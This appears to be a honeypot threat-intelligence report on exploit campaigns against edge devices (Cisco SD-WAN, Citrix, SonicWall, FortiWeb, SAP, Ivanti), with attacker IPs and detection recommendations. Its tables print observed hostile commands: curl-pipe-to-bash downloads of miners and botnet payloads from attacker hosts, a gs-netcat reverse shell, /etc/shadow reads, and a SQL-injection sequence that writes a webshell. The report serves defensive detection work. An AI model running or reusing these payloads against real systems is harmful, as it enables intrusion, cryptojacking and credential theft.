Edge Device Exploit Trends: Honeypot Analysis
Detection Chokepoint Framework
Every exploit in this dataset (Cisco SD-WAN, Citrix, SonicWall, Fortinet) follows the same chain. The CVE changes. The tooling changes. The five stages don't. Each badge maps to the ATT&CK technique you're detecting at that stage.
Authentication bypass, credential harvest, and webshell deployment: those three stages are where your detection budget compounds. Recon scanning generates volume but the attacker can change tools and IPs freely. Post-exploit behavior matters but varies by environment. The middle three are the invariants.
Monthly Volume: Daily Exploit Attempts
Daily hit volume across 22 decoy types. The spikes aren't gradual trends. They're specific campaigns lighting up.
Target Distribution: What Adversaries Are Hunting
Not every decoy gets the same attention. Citrix and SD-WAN absorb 74% of all traffic, and for different reasons.
Citrix dominates at 8,662 hits, 57.7% of all traffic, driven by a concentrated cluster of IPs running CitrixBleed 2 continuously. SAP jumped to third this window (was barely visible before). A 72-hour burst Apr 9–11 on a 4-year-old CVSS 10.0 vuln accounted for most of it. SonicWall has the most distributed attacker base at 284 unique IPs, suggesting toolkit proliferation rather than a single operator campaign.
CVE-2026-20127: Full Kill Chain in Honeypot Data
CVSS 10.0 authentication bypass in Cisco Catalyst SD-WAN. Disclosed Feb 25, 2026. CISA KEV with 24-hour remediation. We captured the full attack chain: 137 IPs progressing from recon through auth bypass, webshell upload, and cryptominer deployment.
Attack Chain Stages: Observed in Honeypot
| Stage | Alert | Hits | Unique IPs | Key Artifact |
|---|---|---|---|---|
| RECON | Associated with CVE-2026-20127 | 2,475 | 189 | cmd.jsp probe, .dca credential read |
| AUTH | CVE-2026-20127 [First Part] | 664 | 123 | POST /jts/authenticated/j_security_check |
| UPLOAD | CVE-2026-20127 [Upload] | 111 | 44 | Path traversal → .war webshell deploy |
| EXEC | Webshell command execution | 1,780 | - | POST /cmd.gz/cmd.jsp |
Auth Bypass: Hardcoded DCA Credentials
The "First Part" stage sends authentication requests using the viptela-reserved-dca service account, a default internal account used by the Data Collection Agent.
Webshell Upload: Path Traversal to Wildfly
Post-authentication, attackers exploit the /dataservice/smartLicensing/uploadAck endpoint to upload .war files via path traversal into the Wildfly deployment directory.
Webshell Commands: Post-Exploit Activity
Once the webshell is deployed at /cmd.gz/cmd.jsp, attackers execute commands through POST requests. The command breakdown reveals a clear operational progression: enumeration → miner deployment → persistence.
| Count | Command | Purpose |
|---|---|---|
| 819 | id | User context check |
| 372 | curl -s -Lk hxxps[://]103[.]98[.]152[.]233/wp_plugins/kernel.sh | bash | MINER Custom kernel payload |
| 196 | whoami | User context check |
| 37 | curl -s -L hxxps[://]raw[.]githubusercontent[.]com/.../setup_moneroocean_miner.sh | bash | MINER XMRig via MoneroOcean |
| 15 | curl -sLk hxxp[://]83[.]142[.]209[.]47/x | bash | BOTNET Unknown payload |
| 10 | curl -s -Lk hxxps[://]miso88[.]tech/wp-config/x | bash | BOTNET Compromised WP staging |
| 6 | uname -a;cat /etc/shadow;cat /etc/passwd;ifconfig -a;... | RECON Full system enumeration |
| 5 | gs-netcat_linux-x86_64 -s kikdddsdsrrds -l -i | C2 Global Socket reverse shell |
id commands, 372 XMRig deployments: noisy, opportunistic, easy to catch. But 6 IPs ran full system enumeration and 5 deployed gs-netcat reverse shells. Those are the ones that matter.
Credential Harvesting: DCA Config Files
739 requests targeted the .dca (Data Collection Agent) configuration file. This file contains credentials used by the DCA service to authenticate to vManage. Harvesting this file gives attackers legitimate credentials for lateral movement within the SD-WAN fabric.
CVE-2025-5777: CitrixBleed 2 (T1190 Pre-Auth Memory Disclosure)
Same vulnerability class as the original CitrixBleed that hit Boeing and ICBC. Pre-auth memory disclosure, ~127 bytes per request, session tokens leak out. The exploit is trivial: a 5-byte POST body with the word login. This window: 8,112 hits, 54% of all traffic, still growing.
Exploitation Pattern
All 8,112 hits target a single endpoint: POST /p/u/doAuthentication.do with a malformed login parameter (no equals sign or value). 97% of traffic uses an identical truncated User-Agent string, indicating a shared exploit toolkit spreading to new operators.
163[.]245[.]210[.]213 leads at 2,136 hits across this window, grinding continuously. 91[.]92[.]243[.]126 (1,558) and 91[.]92[.]243[.]11 (1,129) are in the same /24 running in parallel. 69[.]169[.]107[.]93 (691), 64[.]20[.]48[.]21 (502), and 178[.]16[.]55[.]226 (452) all appeared in the Apr 2–6 burst. Apr 6 (1,726 CitrixBleed 2 hits) is the new single-day peak. This isn't one campaign. It's a toolkit that anyone can pick up.
CitrixBleed 2 Daily Exploitation Trend
CVE-2022-22536 + CVE-2025-31324: SAP Surge (Apr 9–11)
SAP jumped from a footnote to the third most targeted platform in this window. 1,179 total hits on SAP Netweaver decoys, driven by a concentrated 72-hour burst Apr 9–11 on CVE-2022-22536, a 2022 CVSS 10.0 memory corruption / request smuggling vulnerability in SAP ICM. An additional 155 hits targeted CVE-2025-31324, the critical SAP NetWeaver Visual Composer RCE disclosed in 2025.
CVE-2022-22536: 4-Year-Old CVSS 10.0 Still Under Active Exploitation
The Apr 9–11 burst hit 176 unique IPs in three days: concentrated scanning across a wide source range rather than a single operator. CVE-2022-22536 allows unauthenticated HTTP request smuggling against SAP ICM, enabling memory disclosure and session token theft without credentials. Patched in 2022. Still getting 1,024 hits in a 31-day window in 2026.
| Date | Hits | CVE | Notes |
|---|---|---|---|
| Apr 9 | 337 | CVE-2022-22536 | Burst begins. 176 unique IPs |
| Apr 10 | 621 | CVE-2022-22536 | Peak day. Scanning at scale |
| Apr 11 | 66 | CVE-2022-22536 | Tail-off |
| Various | 155 | CVE-2025-31324 | SAP NetWeaver Visual Composer RCE |
CVE-2025-40599: SonicWall SMA Path Traversal + Self-Replicating Worm
478 attempts across 284 unique IPs targeting SonicWall SMA decoys via double-encoded path traversal to reach /bin/sh. Every request uses the libredtail-http User-Agent, a custom HTTP client not seen in any other campaign. 284 unique IPs is the most distributed attacker base of any campaign in this dataset.
apache.selfrep: this payload spreads itself. The script takes apache.selfrep as an argument, with self-replication logic baked into the payload. The same staging IP (31[.]57[.]216[.]121) appears in both the SonicWall path traversal and the "Shell eval!" alerts across Ivanti, Citrix, and FortiClient EMS decoys, confirming a single worm operator targeting multiple edge device families simultaneously. All 30 shell eval hits still point to this same IP. The worm infrastructure remains active for the entire 31-day observation period.
CVE-2025-25257: FortiWeb Multi-Stage SQLi via Bearer Token
237 requests targeting FortiWeb's /api/fabric/device/status endpoint. Attackers embed SQL injection payloads inside the Authorization: Bearer header, an unusual injection point that bypasses WAF rules typically inspecting query parameters and POST bodies.
CVE-2026-21643: FortiClient EMS SQLi, New Operator Fingerprint (Apr 2)
FortiClient EMS SQLi jumped from 159 to 187 hits (+28 on Apr 2). A new operator fingerprint emerged: payloads containing alireza_cve_2026_21643_test appeared alongside the existing nuclei_cve_2026_21643_test pattern.
Attack Progression
| Step | Payload (in Bearer token) | Purpose |
|---|---|---|
| 1 | bitsight-internet-census' or 'x'='x | Auth bypass / boolean blind SQLi test |
| 2 | SELECT a FROM fabric_user.a INTO OUTFILE '/var/log/lib/python3.10/pylab.py' | Write webshell via SQL INTO OUTFILE |
| 3-6 | UPDATE a SET a=(SELECT CONCAT(a, 0x...)) | Staged hex payload assembly into DB field |
Authorization header gets passed through uninspected. The webshell lands in /var/log/lib/python3.10/pylab.py, a Python library path that won't trigger file integrity monitoring. If you're not inspecting auth headers for SQL metacharacters, you're missing this entire class.
CVE-2026-1281 / CVE-2026-1340: Ivanti EPMM Reverse Shell (Apr 3)
5 requests on Apr 3 targeting Ivanti EPMM via the /mifs/c/appstore/fob/ endpoint. The payload embeds a bash reverse shell directly in the URL path using backtick command injection inside the sha256 hash parameter.
1337 repeating in the GUID and epoch. This is someone running a proof of concept. The actionable IOC is 5[.]255[.]120[.]46:5555. Any outbound connection from an EPMM host to that address is confirmed compromise.
CVE-2019-19781: 6-Year-Old Citrix Vuln Still Getting Probed (Apr 3)
2 hits probing for CVE-2019-19781, a path traversal in Citrix ADC first disclosed December 2019. This CVE is 6+ years old and still being actively probed, reinforcing that edge device vulnerabilities have extremely long exploitation tails.
CVE-2025-64446: FortiWeb API Path Traversal (Apr 2 Spike)
FortiWeb path traversal exploitation jumped to 63 hits, with 22 new attempts on Apr 2 from two IPs in the same 101[.]71[.]38[.]0/24 netblock. The exploit abuses URL-encoded %3f (question mark) in the API path to traverse to /cgi-bin/fwbcgi.
Attacker Tooling: Scanner & Automation Fingerprints
38.7% of traffic self-identifies via User-Agent. That's the floor. The other 61% spoof browser UAs but behave like bots.
python-requests dominates at 78% of scanner-attributed traffic. libredtail-http is exclusively associated with the SonicWall worm campaign.
Multi-Device Operators: IPs Scanning Across Decoy Types
| IP | Hits | Products Targeted | Significance |
|---|---|---|---|
47[.]253[.]5[.]130 | 13 | Cisco SD-WAN, Citrix, FortiClient, Ivanti, SonicWall | MULTI-EXPLOIT Broadest coverage |
144[.]31[.]4[.]70 | 53 | Citrix, FortiGate, FortiWeb, Palo Alto, SolarWinds | MULTI-EXPLOIT Fortinet-heavy |
82[.]165[.]66[.]87 | 23 | Citrix, FortiClient, Ivanti, SonicWall | MULTI-EXPLOIT Shell eval across all |
103[.]98[.]152[.]233 | 327 | Cisco SD-WAN (primary) | MINER OPS kernel.sh staging host |
176[.]65[.]139[.]31 | 336 | Cisco SD-WAN (primary) | MINER OPS Full chain: auth→upload→mine |
Staging Infrastructure
Payload staging URLs extracted from webshell commands and shell eval payloads.
| URL / IP | Payloads | Type | Blind Spot |
|---|---|---|---|
103[.]98[.]152[.]233/wp_plugins/kernel.sh | 386 | MINER | Path mimics WordPress plugin directory |
31[.]57[.]216[.]121/sh | 687+ | WORM | Self-replicating apache.selfrep payload |
raw[.]githubusercontent[.]com/.../setup_moneroocean_miner.sh | 37 | MINER | Legitimate GitHub hosting. Cannot block domain |
83[.]142[.]209[.]47 | 25 | BOTNET | Serves nullnet_bash.sh. Botnet enrollment |
miso88[.]tech/wp-config/x | 10 | BOTNET | Compromised domain, WP config path |
213[.]139[.]77[.]117:4433 | 10 | C2 CHECK | Port 4433 callback. Connectivity test before C2 |
5[.]255[.]120[.]46:5555 | 5 | REVERSE SHELL | Ivanti EPMM bash reverse shell target (Apr 3) |
raw.githubusercontent.com and piping to bash is anomalous regardless of the domain reputation.
Detection Recommendations
Each detection maps to the technique it catches. The ones that survived every CVE rotation in this dataset are at the top.
viptela-reserved-dca or any viptela-reserved-* account from external IPs. These are internal service accounts. External auth requests are always malicious.Observed payloads (1)
Example detection logic
/var/lib/wildfly/standalone/deployments/.Observed payloads (1)
Example detection logic
POST /p/u/doAuthentication.do with a body containing only login (no equals sign, no value). Legitimate authentication always includes login=username. Near-zero false positive potential.Observed payloads (1)
Example detection logic
Bearer tokens, a common WAF bypass. Inspect Authorization headers for SQL metacharacters.Observed payloads (3)
Example detection logic
wget|curl ... | sh chains. Monitor for outbound HTTP(S) from edge device management IPs followed by shell execution.Observed payloads (5)
Example detection logic
.dca config file path. Access to this file from any non-management IP indicates credential harvesting, the lateral movement enabler.